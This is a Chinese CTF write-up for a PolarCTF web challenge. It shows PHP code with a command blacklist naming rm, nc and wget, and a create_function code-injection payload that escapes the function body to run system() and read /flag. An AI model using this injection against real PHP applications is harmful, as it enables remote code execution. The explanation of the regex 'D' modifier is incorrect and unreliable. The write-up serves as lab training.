polarctf-web-[某函数的复仇]
考点:
匿名构造函数(create_function)
题目来源:polarctf-web-[某函数的复仇]
解题:
代码审计:
<?phphighlight_file(__FILE__);//flag:/flagif(isset($_POST['shaw'])){$shaw = $_POST['shaw'];$root = $_GET['root'];if(preg_match('/^[a-z_]*$/isD',$shaw)){if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){$shaw('',$root);}else{echo "Almost there^^";}}}?>
正则表达式 /^[a-z_]*$/isD 讲解^:这是一个锚点,表示匹配字符串的开始。它确保了正则表达式从字符串的最开始位置开始匹配。[a-z_]:这是一个字符集,它匹配小写字母(a-z)和下划线(_)。在这个字符集内,任何一个字符都会被认为是有效的匹配字符。*:这是量词,表示匹配前面的字符集零次或多次。也就是说,这个正则表达式会匹配由小写字母和下划线组成的字符串,长度可以为零(空字符串也可以匹配)。$:这是另一个锚点,表示匹配字符串的结束。它确保了正则表达式从字符串的最末尾结束匹配。i(修饰符):这是一个正则表达式的标志,表示忽略大小写。在这个表达式中,a-z 会匹配所有字母,无论是大写还是小写。因此,[a-z_] 会匹配字母(大小写都可以)和下划线。s(修饰符):这个修饰符表示“dotall”模式,在这个模式下,.(点号)可以匹配换行符。虽然这个正则表达式本身并没有使用.,但如果它用于更复杂的表达式中,s标志会让dot匹配所有字符,包括换行符。D(修饰符):这是“Unicode修饰符”的一个变种。它限制了正则表达式的匹配字符只能是单字节的字符,在一些特定的环境中,D可能会影响匹配行为,但它在普通正则表达式中并不常见。
使用动态创建匿名函数的函数create_function
解题payload:
create_function
漏洞详细解析
当create_function('', $root)
执行时,它在PHP内部实际上是这样工作的:
-
PHP会动态创建一个匿名函数,大致如下:
function anonymous() {这里是$root的内容}
-
当我们传入
$root = }system(%22s\ort%20/flag%22);/*
时,PHP实际生成的代码就变成了:function anonymous() {}system("s\ort /flag");/*}
-
注意看第一个
}
,它提前闭合了函数定义的大括号,使后面的代码跳出了函数体的范围 -
接着
system("s\ort /flag")
会作为独立的PHP代码执行,而不是函数体内的代码 -
最后
/*
是多行注释的开始,它注释掉了后面所有内容(包括函数定义末尾多余的}
),防止PHP解析出语法错误